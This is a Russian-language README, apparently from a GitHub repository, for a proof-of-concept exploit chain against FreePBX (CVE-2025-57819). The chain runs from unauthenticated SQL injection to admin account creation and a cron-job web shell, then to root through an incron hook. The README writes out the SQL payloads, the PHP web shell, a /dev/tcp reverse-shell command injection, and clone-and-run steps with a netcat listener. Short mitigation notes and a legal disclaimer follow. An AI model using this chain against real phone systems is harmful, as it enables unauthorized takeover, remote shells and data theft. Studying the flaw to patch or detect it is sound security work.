FreePBX CVE-2025-57819 — Неаутентифицированная SQLi до RCE PoC

Только для образовательных целей и исследований в области безопасности — см. юридическое уведомление ниже

Эксплойт proof of concept для CVE-2025-57819 — критической неаутентифицированной уязвимости SQL-инъекции в FreePBX, позволяющей удаленное выполнение кода. Данный PoC опубликован после выпуска официальных патчей только для исследований в области безопасности и авторизованного тестирования.

Обзор

FreePBX версии 15.x, 16.x и 17.x (ниже пропатченных версий) уязвимы к неаутентифицированной SQL-инъекции в AJAX-обработчике модуля endpoint. Эта цепочка уязвимостей позволяет:

1. Создавать административные учетные записи через SQL-инъекцию
2. Разворачивать веб-шеллы через аутентифицированную инъекцию cron-задач
3. Повышать привилегии до root (при наличии incron) через цепочку хуков sysadmin_manager
4. Полностью скомпрометировать систему с доступом через reverse shell

---

Детали уязвимости

CVE ID	CVE-2025-57819
Тип	Неаутентифицированная SQL-инъекция (основанная на ошибках)
CVSS	9.8 / 10.0 (критическая)
Затронуты	FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3
Исправлено	15.0.66, 16.0.89, 17.0.3+
CISA KEV	Да (29 августа 2025 г.)

Уязвимый endpoint

GET /admin/ajax.php?brand=<PAYLOAD>

Параметр brand в AJAX-обработчике модуля endpoint принимает пользовательский ввод без проверки, что приводит к SQL-инъекции, основанной на ошибках.

---

Цепочка эксплуатации

Этап 1: SQL-инъекция и создание учетной записи администратора

Проверьте SQLi с помощью извлечения на основе ошибок через EXTRACTVALUE() для получения имени базы данных:

x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

Вставьте новую административную учетную запись в asterisk.ampusers:

INSERT INTO ampusers (username, password_hash, admin) 
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)

Этап 2: Аутентифицированная инъекция cron-задач

Используя действительные учетные данные администратора, эксплойт аутентифицируется в FreePBX и устанавливает аутентифицированную сессию. Файлы cookie сессии сохраняются и используются для всех последующих аутентифицированных запросов.

Внедрите команду веб-шелла в asterisk.cron_jobs:

INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)

Планировщик cron FreePBX выполняет команду от имени пользователя asterisk, разворачивая PHP-веб-шелл.

Этап 3: Активация веб-шелла

PHP-веб-шелл развертывается в /var/www/html/shell.php:

<?php system($_GET['cmd']); ?>

Эксплойт опрашивает веб-шелл до его активации, добиваясь RCE от имени пользователя asterisk (uid=999).

Этап 4: Повышение привилегий (при наличии условий)

Если на целевой системе настроен incron:

1. Создайте файл-триггер в /var/spool/asterisk/incron/
2. incrond (работающий от имени root) обнаруживает создание файла
3. Вызывает /usr/bin/sysadmin_manager с именем файла-триггера
4. sysadmin_manager проверяет GPG-подпись и передает управление хуку fwconsole-commands
5. Хук декодирует полезную нагрузку и выполняет: /usr/sbin/fwconsole <COMMAND>
6. Инъекция команды: help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

Результат: root-шелл на reverse-слушателе (при наличии incron).

---

Что используется

• Отсутствие проверки входных данных для параметра brand
• Выполнение пакетных запросов позволяет манипулировать базой данных
• Записываемая таблица asterisk.cron_jobs выполняет команды от имени asterisk
• Постоянство аутентифицированной сессии через cookie созданной административной учетной записи
• Мониторинг файловой системы incron, работающий от имени root
• Непроверенное выполнение хука fwconsole с инъекцией команд

---

Установка

git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py

Использование

# Setup Netcat Listener
nc -lvnp <Listener Port>

# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

PoC

---

Затронутые версии

Версия	Статус
15.0.0 - 15.0.65	Уязвима
15.0.66+	Исправлена
16.0.0 - 16.0.88	Уязвима
16.0.89+	Исправлена
17.0.0 - 17.0.2	Уязвима
17.0.3+	Исправлена

---

Митигирование

Немедленно:

• Ограничьте доступ к /admin/ajax.php из недоверенных сетей
• Отключите incron, если он не нужен: systemctl disable incrond

Постоянно: Обновитесь до исправленных версий: 15.0.66+, 16.0.89+ или 17.0.3+

---

Ссылки

• CVE-2025-57819
• Каталог CISA KEV
• Бюллетень безопасности FreePBX

---

Юридическое уведомление

⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ

Этот proof of concept предоставляется ИСКЛЮЧИТЕЛЬНО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ И ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ. Автор не несет ответственности за неправомерное использование или ущерб, причиненный этим инструментом.

ВЫ ОБЯЗАНЫ СОБЛЮДАТЬ:

• Закон о компьютерном мошенничестве и злоупотреблениях (CFAA) и аналогичные законы вашей юрисдикции
• Проводите тестирование только на системах, которыми вы владеете или на которые имеете явное письменное разрешение
• Получите письменное разрешение перед любым тестированием безопасности
• Соблюдайте практики ответственного раскрытия уязвимостей
• Нормативные требования о конфиденциальности и защите данных (GDPR, CCPA и т. д.)

ЗАПРЕЩЕННОЕ ИСПОЛЬЗОВАНИЕ:

• Несанкционированный доступ к компьютерным системам
• Тестирование на проникновение без письменного согласия
• Нарушение работы сервисов или кража данных
• Любая вредоносная или незаконная деятельность

ОСВОБОЖДЕНИЕ ОТ ОТВЕТСТВЕННОСТИ: Автор не несет ответственности за:

• Несанкционированный доступ или уголовное преследование
• Ущерб системам или потерю данных
• Юридические последствия неправомерного использования
• Нарушения законов о компьютерном мошенничестве

Данная уязвимость:

• Публично раскрыта (CVE-2025-57819)
• Патчи доступны публично
• Опубликована только для исследований в области безопасности
• Раскрыта ответственно после выпуска патча

---

Автор

JazzTheRabbit

• GitHub: @JazzTheRabbit
• HackTheBox: @JazzTheRabbit
• YouTube: JazzTheRabbit

Лицензия

Лицензия MIT